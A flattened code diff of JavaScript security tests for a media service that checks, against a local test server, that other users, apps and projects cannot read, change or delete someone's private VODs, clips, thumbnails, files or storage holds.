201, r.text);++ const fileKey = r.json.key;++ const v1Before = await v1State();++ const v2Before = await v2State(); // the file above is an object too++ const chunk = () => { const f = new FormData(); f.append('chunk', new Blob([Buffer.alloc(32)], { type: 'video/webm' }), 'c.webm'); return f; };++ const VOD_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/finalize', {}], ['POST', '/complete', {}],++ ['POST', '/ingest/rtp/stop', {}], ['POST', '/ingest/rtmp', { rtmp_url: 'rtmp://10.0.0.5:1935/live/k' }], ['POST', '/chunks', chunk]];++ const CLIP_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/recut', {}]];++ const thumbBody = { image: 'data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ==' };++ const v1 = (kind, tenant, id, [m, rest, b], h) => [m, `/api/v1/${tenant}/${kind}/${id}${rest}`, h, typeof b === 'function' ? b() : b];++ for (const [kind, ops, priv, pub] of [['vods', VOD_OPS, privVod, pubVod], ['clips', CLIP_OPS, privClip, pubClip]]) {++ for (const op of ops) {++ await same(v1(kind, 'live', priv, op, asUser(77)), v1(kind, 'live', 999999, op, asUser(77)), `user 77 ${op[0]} ${kind}${op[1]} on user 5's private one`);++ r = await call(...v1(kind, 'live', pub, op, asUser(77)));++ assert.strictEqual(r.status, 403, `user 77 ${op[0]} ${kind}${op[1]} on user 5's public one: ${r.status} ${r.text}`);++ await same(v1(kind, 'games', priv, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via its tenant`);++ await same(v1(kind, 'games', pub, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} on a public one`);++ await same(v1(kind, 'live', pub, op, key('games-key')), v1(kind, 'live', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via live's tenant`);++ }++ }++ for (const [kind, priv, pub] of [['vod', privVod, pubVod], ['clip', privClip, pubClip]]) {++ await same(['POST', `/api/v1/live/thumbnails/${kind}/${priv}`, asUser(77), thumbBody], ['POST', `/api/v1/live/thumbnails/${kind}/999999`, asUser(77), thumbBody], `user 77 replaces the thumbnail of user 5's private ${kind}`);++ r = await call('POST', `/api/v1/live/thumbnails/${kind}/${pub}`, asUser(77), thumbBody);++ assert.strictEqual(r.status, 403, `user 77 replaces the thumbnail of user 5's public ${kind}: ${r.status} ${r.text}`);++ await same(['POST', `/api/v1/games/thumbnails/${kind}/${pub}`, key('games-key'), thumbBody], ['POST', `/api/v1/games/thumbnails/${kind}/999999`, key('games-key'), thumbBody], `games replaces live's ${kind} thumbnail`);++ }++ r = await call('DELETE', `/api/v1/live/files/${encodeURIComponent(fileKey)}`, asUser(77));++ assert.strictEqual(r.status, 403, 'user 77 cannot delete user 5\'s file');++ await same(['DELETE', `/api/v1/games/files/${encodeURIComponent(fileKey)}`, key('games-key')], ['DELETE', '/api/v1/games/files/no-such-key.txt', key('games-key')], 'games cannot delete live\'s file');++ await same(['DELETE', `/api/v1/games/assets/${assetId}`, key('games-key')], ['DELETE', '/api/v1/games/assets/999999', key('games-key')], 'games cannot delete live\'s asset');++ // Admin storage: another app's ids are unknown ids there; acting for a user is refused outright.++ const A = '/api/v1/games/admin/storage';++ await same(['POST', `${A}/holds`, key('games-key'), { vod_id: privVod, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { vod_id: 999999, reason: 'x' }], 'games holds live\'s VOD');++ await same(['POST', `${A}/holds`, key('games-key'), { clip_id: pubClip, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { clip_id: 999999, reason: 'x' }], 'games holds live\'s clip');++ await same(['POST', `${A}/holds`, key('games-key'), { object_id: priv5, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { object_id: UNKNOWN, reason: 'x' }], 'games holds live\'s object');++ await same(['POST', `${A}/holds/${hold5}/release`, key('games-key'), {}], ['POST', `${A}/holds/999999/release`, key('games-key'), {}], 'games releases live\'s hold');++ await same(['DELETE', `${A}/holds/${hold5}`, key('games-key')], ['DELETE', `${A}/holds/999999`, key('games-key')], 'games releases live\'s hold (DELETE)');++ await same(['POST', `${A}/tiers/move`, key('games-key'), { vod_id: pubVod, target: 'local' }], ['POST', `${A}/tiers/move`, key('games-key'), { vod_id: 999999, target: 'local' }], 'games moves live\'s VOD');++ r = await call('DELETE', `${A}/vods/bulk`, key('games-key'), { ids: [privVod, pubVod] });++ assert.ok(r.status >= 400 || (r.json && r.json.deleted === 0), `games bulk-deletes live's VODs: ${r.text}`);++ for (const [m, p, b, code] of [['DELETE', '/vods/bulk', { ids: [privVod] }, 'media.admin.forbidden'], ['POST', '/tiers/move', { vod_id: privVod, target: 'local' }, 'media.admin.forbidden'],++ ['GET', '/vods?limit=5', undefined, 'media.admin.forbidden'], ['PUT', '/tiers/settings', {}, 'media.admin.forbidden'], ['GET', '/holds?all=1', undefined, 'media.hold.forbidden'],++ ['POST', '/holds', { vod_id: privVod, reason: 'x' }, 'media.hold.forbidden'], ['POST', `/holds/${hold5}/release`, {}, 'media.hold.forbidden'], ['GET', '/ops', undefined, 'media.ops.forbidden']]) {++ r = await call(m, `/api/v1/live/admin/storage${p}`, asUser(77), b);++ assert.deepStrictEqual([r.status, r.json && r.json.code], [403, code], `acting for a user: ${m} admin/storage${p}`);}-- }-- for (const [kind, priv, pub] of [['vod', privVod, pubVod], ['clip', privClip, pubClip]]) {-- await same(['POST', `/api/v1/live/thumbnails/${kind}/${priv}`, asUser(77), thumbBody], ['POST', `/api/v1/live/thumbnails/${kind}/999999`, asUser(77), thumbBody], `user 77 replaces the thumbnail of user 5's private ${kind}`);-- r = await call('POST', `/api/v1/live/thumbnails/${kind}/${pub}`, asUser(77), thumbBody);-- assert.strictEqual(r.status, 403, `user 77 replaces the thumbnail of user 5's public ${kind}: ${r.status} ${r.text}`);-- await same(['POST', `/api/v1/games/thumbnails/${kind}/${pub}`, key('games-key'), thumbBody], ['POST', `/api/v1/games/thumbnails/${kind}/999999`, key('games-key'), thumbBody], `games replaces live's ${kind} thumbnail`);-- }-- r = await call('DELETE', `/api/v1/live/files/${encodeURIComponent(fileKey)}`, asUser(77));-- assert.strictEqual(r.status, 403, 'user 77 cannot delete user 5\'s file');-- await same(['DELETE', `/api/v1/games/files/${encodeURIComponent(fileKey)}`, key('games-key')], ['DELETE', '/api/v1/games/files/no-such-key.txt', key('games-key')], 'games cannot delete live\'s file');-- await same(['DELETE', `/api/v1/games/assets/${assetId}`, key('games-key')], ['DELETE', '/api/v1/games/assets/999999', key('games-key')], 'games cannot delete live\'s asset');-- // Admin storage: another app's ids are unknown ids there; acting for a user is refused outright.-- const A = '/api/v1/games/admin/storage';-- await same(['POST', `${A}/holds`, key('games-key'), { vod_id: privVod, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { vod_id: 999999, reason: 'x' }], 'games holds live\'s VOD');-- await same(['POST', `${A}/holds`, key('games-key'), { clip_id: pubClip, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { clip_id: 999999, reason: 'x' }], 'games holds live\'s clip');-- await same(['POST', `${A}/holds`, key('games-key'), { object_id: priv5, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { object_id: UNKNOWN, reason: 'x' }], 'games holds live\'s object');-- await same(['POST', `${A}/holds/${hold5}/release`, key('games-key'), {}], ['POST', `${A}/holds/999999/release`, key('games-key'), {}], 'games releases live\'s hold');-- await same(['DELETE', `${A}/holds/${hold5}`, key('games-key')], ['DELETE', `${A}/holds/999999`, key('games-key')], 'games releases live\'s hold (DELETE)');-- await same(['POST', `${A}/tiers/move`, key('games-key'), { vod_id: pubVod, target: 'local' }], ['POST', `${A}/tiers/move`, key('games-key'), { vod_id: 999999, target: 'local' }], 'games moves live\'s VOD');-- r = await call('DELETE', `${A}/vods/bulk`, key('games-key'), { ids: [privVod, pubVod] });-- assert.ok(r.status >= 400 || (r.json && r.json.deleted === 0), `games bulk-deletes live's VODs: ${r.text}`);-- for (const [m, p, b, code] of [['DELETE', '/vods/bulk', { ids: [privVod] }, 'media.admin.forbidden'], ['POST', '/tiers/move', { vod_id: privVod, target: 'local' }, 'media.admin.forbidden'],-- ['GET', '/vods?limit=5', undefined, 'media.admin.forbidden'], ['PUT', '/tiers/settings', {}, 'media.admin.forbidden'], ['GET', '/holds?all=1', undefined, 'media.hold.forbidden'],-- ['POST', '/holds', { vod_id: privVod, reason: 'x' }, 'media.hold.forbidden'], ['POST', `/holds/${hold5}/release`, {}, 'media.hold.forbidden'], ['GET', '/ops', undefined, 'media.ops.forbidden']]) {-- r = await call(m, `/api/v1/live/admin/storage${p}`, asUser(77), b);-- assert.deepStrictEqual([r.status, r.json && r.json.code], [403, code], `acting for a user: ${m} admin/storage${p}`);-- }-- assert.deepStrictEqual(v1State(), v1Before, 'no VOD, clip, thumbnail, file or asset changed');-- assert.deepStrictEqual(v2State(), v2Before, 'no hold or object changed');-- // Controls: the owner and the app itself still can.-- assert.strictEqual((await call('PUT', `/api/v1/live/vods/${privVod}`, asUser(5), { title: 'mine' })).status, 200, 'the owner updates their private VOD');-- assert.strictEqual((await call('PUT', `/api/v1/live/clips/${pubClip}`, key('live-key'), { title: 'app edit' })).status, 200, 'the app key updates any clip');-- assert.strictEqual((await call('POST', `/api/v1/live/thumbnails/vod/${privVod}`, asUser(5), thumbBody)).status, 200, 'the owner replaces their thumbnail');-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/holds', key('live-key'))).status, 200, 'the app reads its holds');-- console.log('✅ v1 VODs, clips, thumbnails, files, assets and admin storage: other users and apps change nothing; acting for a user is refused on admin storage');++ assert.deepStrictEqual(await v1State(), v1Before, 'no VOD, clip, thumbnail, file or asset changed');++ assert.deepStrictEqual(await v2State(), v2Before, 'no hold or object changed');++ // Controls: the owner and the app itself still can.++ assert.strictEqual((await call('PUT', `/api/v1/live/vods/${privVod}`, asUser(5), { title: 'mine' })).status, 200, 'the owner updates their private VOD');++ assert.strictEqual((await call('PUT', `/api/v1/live/clips/${pubClip}`, key('live-key'), { title: 'app edit' })).status, 200, 'the app key updates any clip');++ assert.strictEqual((await call('POST', `/api/v1/live/thumbnails/vod/${privVod}`, asUser(5), thumbBody)).status, 200, 'the owner replaces their thumbnail');++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/holds', key('live-key'))).status, 200, 'the app reads its holds');++ console.log('✅ v1 VODs, clips, thumbnails, files, assets and admin storage: other users and apps change nothing; acting for a user is refused on admin storage');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('security-idor: all checks passed');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('security-idor: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -18,234 +18,235 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secprivate-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.ASSETS_PATH = dir('assets');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--for (const k of ['PASTES_MOVED_TO', 'EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT']) process.env[k] = '';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secprivate-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.ASSETS_PATH = dir('assets');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ for (const k of ['PASTES_MOVED_TO', 'EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT']) process.env[k] = '';--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const auth = require('../server/auth');--const signing = require('../server/objects/signing');--const queue = require('../server/jobs/queue');--const { serviceAuth, ids } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const signing = require('../server/objects/signing');++ const queue = require('../server/jobs/queue');++ const { serviceAuth, ids } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const raw = db.getDb();--const now = Math.floor(Date.now() / 1000);--const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;--const appTok = (project, env = 'production') => serviceAuth.signServiceToken({-- iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list'],-- ns: [project], project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,--}, keys.privateKey);++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const raw = db.getDb();++ const now = Math.floor(Date.now() / 1000);++ const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;++ const appTok = (project, env = 'production') => serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list'],++ ns: [project], project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,++ }, keys.privateKey);--// ── VODs, clips and their thumbnails (user 5 owns them all) ──--const thumb = (name) => { fs.writeFileSync(path.join(process.env.THUMBNAILS_PATH, name), Buffer.from('ffd8ffe000104a464946', 'hex')); return `/t/${name}`; };--const media = (d, name) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };--const vod = (title, visibility, extra = {}) => {-- const id = Number(db.createVod({ app_id: 'live', user_id: 5, title, file_path: media(process.env.VOD_PATH, `${title.replace(/\W/g, '')}.webm`), duration_seconds: 10, visibility, ...extra }).lastInsertRowid);-- return id;--};--const pubVod = vod('Public VOD', 'public', { managed_stream_id: 7 });--const privVod = vod('Secret VOD title', 'private', { managed_stream_id: 7 });--const unlVod = vod('Unlisted VOD title', 'unlisted', { managed_stream_id: 8 });--raw.prepare("UPDATE vods SET created_at = datetime('now', ?) WHERE id = ?").run('-2 hours', pubVod); // the private one is the newest of stream 7--for (const [id, name] of [[pubVod, `vod-${pubVod}-111.jpg`], [privVod, `vod-${privVod}-222.jpg`], [unlVod, `vod-${unlVod}-666.jpg`]]) {-- db.withObject('vod', id, () => db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumb(name), id]));--}--const clip = (title, visibility, name) => Number(db.createClip({-- app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: media(process.env.CLIPS_PATH, `${title.replace(/\W/g, '')}.webm`),-- thumbnail_url: thumb(name), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready',--}).lastInsertRowid);--const pubClip = clip('Public clip', 'public', 'clip-9001-1.jpg');--const privClip = clip('Secret clip title', 'private', 'clip-9002-2.jpg');--const unlClip = clip('Unlisted clip title', 'unlisted', 'clip-9003-3.jpg');--// The thumbnail file names carry the clip ids the rows got.--for (const [id, old] of [[pubClip, 'clip-9001-1.jpg'], [privClip, 'clip-9002-2.jpg'], [unlClip, 'clip-9003-3.jpg']]) {-- const name = `clip-${id}-${old.split('-')[2]}`;-- fs.renameSync(path.join(process.env.THUMBNAILS_PATH, old), path.join(process.env.THUMBNAILS_PATH, name));-- db.withObject('clip', id, () => db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [`/t/${name}`, id]));--}--const HIDDEN_TITLES = ['Secret VOD title', 'Unlisted VOD title', 'Secret clip title', 'Unlisted clip title'];--const HIDDEN_THUMBS = [`vod-${privVod}-222.jpg`, `vod-${unlVod}-666.jpg`, `clip-${privClip}-2.jpg`, `clip-${unlClip}-3.jpg`];--raw.prepare("INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility) VALUES ('priv-page', 'live', 5, 'Secret paste title', 'paste', 'secret text', 'text', 'private')").run();++ // ── VODs, clips and their thumbnails (user 5 owns them all) ──++ const thumb = (name) => { fs.writeFileSync(path.join(process.env.THUMBNAILS_PATH, name), Buffer.from('ffd8ffe000104a464946', 'hex')); return `/t/${name}`; };++ const media = (d, name) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };++ const vod = async (title, visibility, extra = {}) => {++ const id = Number((await db.createVod({ app_id: 'live', user_id: 5, title, file_path: media(process.env.VOD_PATH, `${title.replace(/\W/g, '')}.webm`), duration_seconds: 10, visibility, ...extra })).lastInsertRowid);++ return id;++ };++ const pubVod = await vod('Public VOD', 'public', { managed_stream_id: 7 });++ const privVod = await vod('Secret VOD title', 'private', { managed_stream_id: 7 });++ const unlVod = await vod('Unlisted VOD title', 'unlisted', { managed_stream_id: 8 });++ await raw.prepare("UPDATE vods SET created_at = datetime('now', ?) WHERE id = ?").run('-2 hours', pubVod); // the private one is the newest of stream 7++ for (const [id, name] of [[pubVod, `vod-${pubVod}-111.jpg`], [privVod, `vod-${privVod}-222.jpg`], [unlVod, `vod-${unlVod}-666.jpg`]]) {++ await db.withObject('vod', id, async () => await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumb(name), id]));++ }++ const clip = async (title, visibility, name) => Number((await db.createClip({++ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: media(process.env.CLIPS_PATH, `${title.replace(/\W/g, '')}.webm`),++ thumbnail_url: thumb(name), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready',++ })).lastInsertRowid);++ const pubClip = await clip('Public clip', 'public', 'clip-9001-1.jpg');++ const privClip = await clip('Secret clip title', 'private', 'clip-9002-2.jpg');++ const unlClip = await clip('Unlisted clip title', 'unlisted', 'clip-9003-3.jpg');++ // The thumbnail file names carry the clip ids the rows got.++ for (const [id, old] of [[pubClip, 'clip-9001-1.jpg'], [privClip, 'clip-9002-2.jpg'], [unlClip, 'clip-9003-3.jpg']]) {++ const name = `clip-${id}-${old.split('-')[2]}`;++ fs.renameSync(path.join(process.env.THUMBNAILS_PATH, old), path.join(process.env.THUMBNAILS_PATH, name));++ await db.withObject('clip', id, async () => await db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [`/t/${name}`, id]));++ }++ const HIDDEN_TITLES = ['Secret VOD title', 'Unlisted VOD title', 'Secret clip title', 'Unlisted clip title'];++ const HIDDEN_THUMBS = [`vod-${privVod}-222.jpg`, `vod-${unlVod}-666.jpg`, `clip-${privClip}-2.jpg`, `clip-${unlClip}-3.jpg`];++ await raw.prepare("INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility) VALUES ('priv-page', 'live', 5, 'Secret paste title', 'paste', 'secret text', 'text', 'private') RETURNING id").run();--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...require('../server/objects/routes').contentHandlers);--app.use(express.json());--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v2/:app/objects', require('../server/objects/routes'));--app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));--app.use('/o', require('../server/objects/routes').publicRouter);--app.use('/', require('../server/public/routes'));--const server = http.createServer(app);++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...require('../server/objects/routes').contentHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v2/:app/objects', require('../server/objects/routes'));++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ app.use('/o', require('../server/objects/routes').publicRouter);++ app.use('/', require('../server/public/routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => String(u).replace('https://media.test', '');-- const get = async (p, headers = {}, method = 'GET', body) => {-- const h = { ...headers };-- let payload = body;-- if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string') { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }-- return { status: res.status, text, json, location: res.headers.get('location') };-- };-- const same = async (a, b, msg) => {-- const [x, y] = [await get(...a), await get(...b)];-- assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);-- return x;-- };-- const key = (k) => ({ authorization: `Bearer ${k}` });-- const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });-- const bearer = (t) => ({ authorization: `Bearer ${t}` });++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => String(u).replace('https://media.test', '');++ const get = async (p, headers = {}, method = 'GET', body) => {++ const h = { ...headers };++ let payload = body;++ if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string') { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }++ return { status: res.status, text, json, location: res.headers.get('location') };++ };++ const same = async (a, b, msg) => {++ const [x, y] = [await get(...a), await get(...b)];++ assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);++ return x;++ };++ const key = (k) => ({ authorization: `Bearer ${k}` });++ const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });++ const bearer = (t) => ({ authorization: `Bearer ${t}` });-- // Native objects: init → PUT bytes → complete.-- const mkObject = async (tenant, headers, visibility, body = 'bytes') => {-- let r = await get(`/api/v2/${tenant}/objects`, headers, 'POST', { kind: 'file', mime_type: 'text/plain', size_bytes: Buffer.byteLength(body), visibility, filename: 'x.txt' });-- assert.strictEqual(r.status, 201, r.text);-- const id = r.json.id;-- r = await get(local(r.json.upload.url), { 'content-type': 'text/plain' }, 'PUT', body);-- assert.strictEqual(r.status, 200, r.text);-- r = await get(`/api/v2/${tenant}/objects/${id}/complete`, headers, 'POST', {});-- assert.strictEqual(r.status, 200, r.text);-- return id;-- };-- const privObj = await mkObject('live', asUser(5), 'private');-- const unlObj = await mkObject('live', asUser(5), 'unlisted');-- const pubObj = await mkObject('live', asUser(5), 'public');-- const projObj = await mkObject(PA, bearer(appTok(PA)), 'private');-- const sandboxObj = await mkObject(PA, bearer(appTok(PA, 'sandbox')), 'public');-- const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';-- const job = queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: privObj, params: { kind: 'vod', id: privVod }, ownerUserId: 5, createdBy: 'app:live:user:5' }).job;++ // Native objects: init → PUT bytes → complete.++ const mkObject = async (tenant, headers, visibility, body = 'bytes') => {++ let r = await get(`/api/v2/${tenant}/objects`, headers, 'POST', { kind: 'file', mime_type: 'text/plain', size_bytes: Buffer.byteLength(body), visibility, filename: 'x.txt' });++ assert.strictEqual(r.status, 201, r.text);++ const id = r.json.id;++ r = await get(local(r.json.upload.url), { 'content-type': 'text/plain' }, 'PUT', body);++ assert.strictEqual(r.status, 200, r.text);++ r = await get(`/api/v2/${tenant}/objects/${id}/complete`, headers, 'POST', {});++ assert.strictEqual(r.status, 200, r.text);++ return id;++ };++ const privObj = await mkObject('live', asUser(5), 'private');++ const unlObj = await mkObject('live', asUser(5), 'unlisted');++ const pubObj = await mkObject('live', asUser(5), 'public');++ const projObj = await mkObject(PA, bearer(appTok(PA)), 'private');++ const sandboxObj = await mkObject(PA, bearer(appTok(PA, 'sandbox')), 'public');++ const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';++ const job = (await queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: privObj, params: { kind: 'vod', id: privVod }, ownerUserId: 5, createdBy: 'app:live:user:5' })).job;-- // ── 1. Public lists: nothing private or unlisted ──-- for (const p of ['/', '/browse', '/browse?tab=videos', '/browse?tab=clips', '/browse?tab=thumbnails', '/?tab=thumbnails&page=1', '/sitemap.xml', '/llms.txt', '/updates']) {-- const r = await get(p);-- assert.ok(r.status < 500, `${p} answers`);-- for (const t of [...HIDDEN_TITLES, ...HIDDEN_THUMBS, 'Secret paste title']) assert.ok(!r.text.includes(t), `${p} lists ${t}`);-- if (/thumbnails/.test(p)) {-- assert.ok(r.text.includes(`vod-${pubVod}-111.jpg`) && r.text.includes(`clip-${pubClip}-1.jpg`), `${p}: public recordings' thumbnails are listed`);++ // ── 1. Public lists: nothing private or unlisted ──++ for (const p of ['/', '/browse', '/browse?tab=videos', '/browse?tab=clips', '/browse?tab=thumbnails', '/?tab=thumbnails&page=1', '/sitemap.xml', '/llms.txt', '/updates']) {++ const r = await get(p);++ assert.ok(r.status < 500, `${p} answers`);++ for (const t of [...HIDDEN_TITLES, ...HIDDEN_THUMBS, 'Secret paste title']) assert.ok(!r.text.includes(t), `${p} lists ${t}`);++ if (/thumbnails/.test(p)) {++ assert.ok(r.text.includes(`vod-${pubVod}-111.jpg`) && r.text.includes(`clip-${pubClip}-1.jpg`), `${p}: public recordings' thumbnails are listed`);++ }}-- }-- assert.ok((await get('/browse?tab=videos')).text.includes('Public VOD'), 'the index lists public VODs');-- console.log('✅ media index (every tab, thumbnails too), sitemap, llms.txt, updates: no private or unlisted item');++ assert.ok((await get('/browse?tab=videos')).text.includes('Public VOD'), 'the index lists public VODs');++ console.log('✅ media index (every tab, thumbnails too), sitemap, llms.txt, updates: no private or unlisted item');-- for (const who of [asUser(77), { ...asUser(77), 'x-include': '1' }]) {-- let r = await get('/api/v1/live/vods?include_private=1&include_recording=1', who);-- assert.deepStrictEqual(r.json.vods.map(v => v.id), [pubVod], 'acting for another user: public VODs only, include_private ignored');-- r = await get('/api/v1/live/clips?include_private=1', who);-- assert.deepStrictEqual(r.json.clips.map(c => c.id), [pubClip], 'acting for another user: public clips only');-- }-- let r = await get('/api/v1/live/vods/latest-thumbs?managed_stream_ids=7,8', asUser(77));-- assert.deepStrictEqual(Object.keys(r.json.thumbs), ['7'], 'no thumbnail for a stream whose only VOD is unlisted');-- assert.strictEqual(r.json.thumbs['7'].vod_id, pubVod, 'the newest PUBLIC VOD, not the newer private one');-- r = await get('/api/v1/live/vods?include_private=1', key('live-key'));-- assert.strictEqual(r.json.vods.length, 3, 'the app key itself may list everything (control)');-- r = await get('/api/v2/live/objects', asUser(77));-- assert.deepStrictEqual(r.json.objects.filter(o => [privObj, unlObj, pubObj].includes(o.id)).map(o => o.id).sort(), [pubObj, unlObj].sort(), 'v2 list for another user: public and unlisted (documented), never private');-- r = await get(`/api/v2/live/objects?visibility=private&owner=user:5&user_id=5`, asUser(77));-- assert.ok(!r.json.objects.some(o => o.id === privObj), 'no filter reaches another user\'s private objects');-- r = await get('/api/v2/live/jobs', asUser(77));-- assert.ok(!r.json.jobs.some(j => j.id === job.id), 'another user\'s jobs are not listed');-- r = await get('/api/v2/games/objects', key('games-key'));-- assert.ok(!r.json.objects.some(o => [privObj, unlObj, pubObj].includes(o.id)), 'another app lists none of this app\'s objects');-- r = await get(`/api/v2/${PB}/objects`, bearer(appTok(PB)));-- assert.deepStrictEqual(r.json.objects, [], 'another developer project lists nothing of this one');-- console.log('✅ v1 lists, latest-thumbs, v2 object and job lists: no private item of anyone else');++ for (const who of [asUser(77), { ...asUser(77), 'x-include': '1' }]) {++ let r = await get('/api/v1/live/vods?include_private=1&include_recording=1', who);++ assert.deepStrictEqual(r.json.vods.map(v => v.id), [pubVod], 'acting for another user: public VODs only, include_private ignored');++ r = await get('/api/v1/live/clips?include_private=1', who);++ assert.deepStrictEqual(r.json.clips.map(c => c.id), [pubClip], 'acting for another user: public clips only');++ }++ let r = await get('/api/v1/live/vods/latest-thumbs?managed_stream_ids=7,8', asUser(77));++ assert.deepStrictEqual(Object.keys(r.json.thumbs), ['7'], 'no thumbnail for a stream whose only 